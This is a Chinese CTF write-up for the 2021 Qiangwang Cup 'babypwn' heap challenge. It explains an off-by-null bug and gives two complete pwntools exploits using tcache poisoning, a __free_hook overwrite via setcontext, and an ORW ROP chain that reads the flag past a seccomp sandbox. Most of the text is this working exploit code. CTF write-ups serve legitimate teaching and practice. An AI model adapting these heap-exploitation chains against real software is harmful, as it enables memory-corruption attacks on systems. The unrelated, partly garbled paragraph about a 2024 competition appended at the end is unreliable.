2021强网杯 pwn babypwn

本文详细讲述了在给定环境下,如何利用offbynull技巧配合setcontext进行堆内存溢出攻击,涉及chunk操作、加密解密、syscall利用、rop gadget利用和 libc地址泄露,展示了两种不同策略的完整exploit过程。

在这里插入图片描述
libc是2.27的。

在这里插入图片描述
保护全开。

在这里插入图片描述还开了沙箱。
你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。

在这里插入图片描述
经典增删改查。

add
在这里插入图片描述
最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。

delete
在这里插入图片描述清理的很干净。

edit

在这里插入图片描述edit也看着没啥,里面有个函数,进去看看。

在这里插入图片描述会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。

show
在这里插入图片描述输出都点不大正常。首先发现它是前后四个字节分开的。
然后看一下那个输出函数。

在这里插入图片描述加密的,好家伙。
先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。

最后发现有个工具,z3.
在这里插入图片描述这些chunk都是因为沙箱提前开的一些。

总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。

off by null我们还是有两种思路,一种是unlink,一种是off by null。

unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。

都来写一下,首先时unlink。
先通过chunk的残留地址把libc,heap地址都泄露出来

我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。

这个是利用setcontext的对比图。
在这里插入图片描述
从这个地方开始就开始利用堆上提前写好的内容。
在这里插入图片描述
要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。
在这里插入图片描述
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"

p = process("./babypwn")

elf = ELF("./babypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size):
	p.recvuntil('>>>')
	p.sendline('1')
	p.recvuntil('size')
	p.sendline(str(size))

def edit(idx,content):
	p.recvuntil('>>>')
	p.sendline('3')
	p.recvuntil('index')
	p.sendline(str(idx))
	p.recvuntil('content')
	p.send(content)

def dele(idx):
	p.recvuntil('>>>')
	p.sendline('2')
	p.recvuntil('index')
	p.sendline(str(idx))	

def show(idx):
	p.recvuntil('>>>')
	p.sendline('4')
	p.recvuntil("index:\n")
	p.sendline(str(idx))

def decrypt(target):
        a = BitVec('a', 32)
        x = a
        for _ in range(2):
                x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
        s = Solver()
        s.add(x == target)
        if s.check() == sat:
                return (s.model()[a].as_long())

add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap = (a2 << 32) + a1 -0x30
print "heap = " + hex(heap)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)

for i in range(8):
	add(0xf0)

dele(1)
dele(7)
dele(2)

edit(8,p64(free_hook)+'\n')
add(0xf0)
add(0xf0)
add(0xf0)#7 free hook
edit(7,p64(set_context + 53)+'\n')

pop_rdi = libc_base + 0x2155f
pop_rax = libc_base + 0x43a78
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e8a
syscall = libc_base + libc.sym['syscall'] + 23
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

buf = fit({
0:2,
0x8:syscall,
0x10:pop_rdi,
0x18:3,
0x20:pop_rsi,
0x28:heap,         #r8
0x30:pop_rdx,      #r9
0x38:0x100,  
0x40:read_addr,
0x48:pop_rdi,      #r12
0x50:heap,         #r13
0x58:puts_addr,    #r14
0x68:heap - 0x10,  #rdi       先执行这块然后再跑到上面按顺序来
0x70:0,            #rsi
0x88:0,            #rdx
0xa0:heap - 208,   #rsp
0xa8:pop_rax,      #rcx   push rcx
0xc0:'./flag\x00'
	},word_size=64)

# setcontext的时候因为里面寄存器是乱的,所以这样写方便一点

#gdb.attach(p)

edit(6,buf+'\n')
dele(6)

p.interactive()

第二种

大体就还是我们的老套路,先泄露libc地址,然后ABCD四个chunk,因为被off by null的chunk的size会变,所以还是利用D来在C中伪造chunk,从而方便我们free,绕过free时候的check。

剩下的乱七八糟的都跟上面一样。

exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"

p = process("./babypwn")

elf = ELF("./babypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size):
	p.recvuntil('>>>')
	p.sendline('1')
	p.recvuntil('size')
	p.sendline(str(size))

def edit(idx,content):
	p.recvuntil('>>>')
	p.sendline('3')
	p.recvuntil('index')
	p.sendline(str(idx))
	p.recvuntil('content')
	p.send(content)

def dele(idx):
	p.recvuntil('>>>')
	p.sendline('2')
	p.recvuntil('index')
	p.sendline(str(idx))	

def show(idx):
	p.recvuntil('>>>')
	p.sendline('4')
	p.recvuntil("index:\n")
	p.sendline(str(idx))

def decrypt(target):
        a = BitVec('a', 32)
        x = a
        for _ in range(2):
                x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
        s = Solver()
        s.add(x == target)
        if s.check() == sat:
                return (s.model()[a].as_long())

add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)
a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap = (a2 << 32) + a1 -0x30
print "heap = " + hex(heap)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6

for i in range(7):
    dele(i)

for i in range(10):
    add(0x108)

add(0x20) #11

for i in range(7):
    dele(i)

#7 8 9

edit(7, 'a' * 0x100 + p64(0x110))
dele(7)

edit(8, 'b' * 0x108)
edit(8, "c" * 0x100 + p64(0x220))
edit(9, "d" * 0xf8 + p64(0x41))

#gdb.attach(p)

dele(9)

for i in range(7):
    add(0x108)

add(0x108) #7
show(8)

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a45c
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)

add(0x108) #9
dele(8)
edit(9,p64(free_hook)+'\n')

add(0x108) #8
add(0x108) #11
edit(11,p64(set_context + 53)+'\n')

pop_rdi = libc_base + 0x2155f
pop_rax = libc_base + 0x43a78
pop_rdx = libc_base + 0x1b96
pop_rsi = libc_base + 0x23e8a
syscall = libc_base + libc.sym['syscall'] + 23
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

#gdb.attach(p)

buf = fit({
0:2,
0x8:syscall,
0x10:pop_rdi,
0x18:3,
0x20:pop_rsi,
0x28:heap,         #r8
0x30:pop_rdx,      #r9
0x38:0x100,  
0x40:read_addr,
0x48:pop_rdi,      #r12
0x50:heap,         #r13
0x58:puts_addr,    #r14
0x68:heap + 0xe60, #rdi
0x70:0,            #rsi
0x88:0,            #rdx
0xa0:heap + 0xda0,   #rsp
0xa8:pop_rax,      #rcx   push rcx
0xc0:'./flag\x00'
	},word_size=64)

# setcontext的时候因为里面寄存器是乱的,所以这样写方便一点

#gdb.attach(p)

edit(7,buf+'\n')
dele(7)

p.interactive()
### 关于2024年PWN比赛 #### 比赛概述 “”全国安全挑战赛是由中国络空间安全协会主办的全国性竞赛,旨在选拔和培养安全人才[^1]。该赛事涵盖了多种类型的安全竞赛项目,其中包括PWN比赛。 #### PWN比赛简介 PWN比赛是一种特定类型的CTF(Capture The Flag)竞赛模式之一。CTF起源于1996年的DEFCON全球黑客大会,已成为全球范围内流行的安全竞赛形式[^2]。PWN比赛主要侧重于漏洞挖掘与利用,参赛队伍需展示如何突破给定的目标系统或应用的安全防护机制。 #### 2024年PWN比赛详情 目前官方尚未公布具体的2024年PWN比赛细节。通常情况下,“”的活动安排会在官方站上提前发布通知,并提供详细的日程表以及报名指南。建议密切关注主办方发布的最新消息以获取最准确的比赛时间和规则说明。 #### 如何准备参加PWN比赛 为了更好地参与到此类比赛中去,选手应当掌握一系列必要的技能和技术: - **逆向工程**:理解二进制文件结构及其工作原理。 - **漏洞分析**:识别软件中的潜在缺陷并评估其可利用程度。 - **编程能力**:熟练运用C/C++、Python等语言编写高效可靠的工具脚本。 - **操作系统内核知识**:熟悉Linux/Windows系统的内部运作流程。 - **Web安全基础**:了解常见的Web应用程序攻击面如SQL注入、XSS跨站脚本等。 对于有兴趣加入这项高水平对抗性演练的朋友来说,平时多加练习是非常重要的。可以通过在线平台上的模拟环境来积累实战经验,比如pwnable.kr 或者 HackTheBox。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值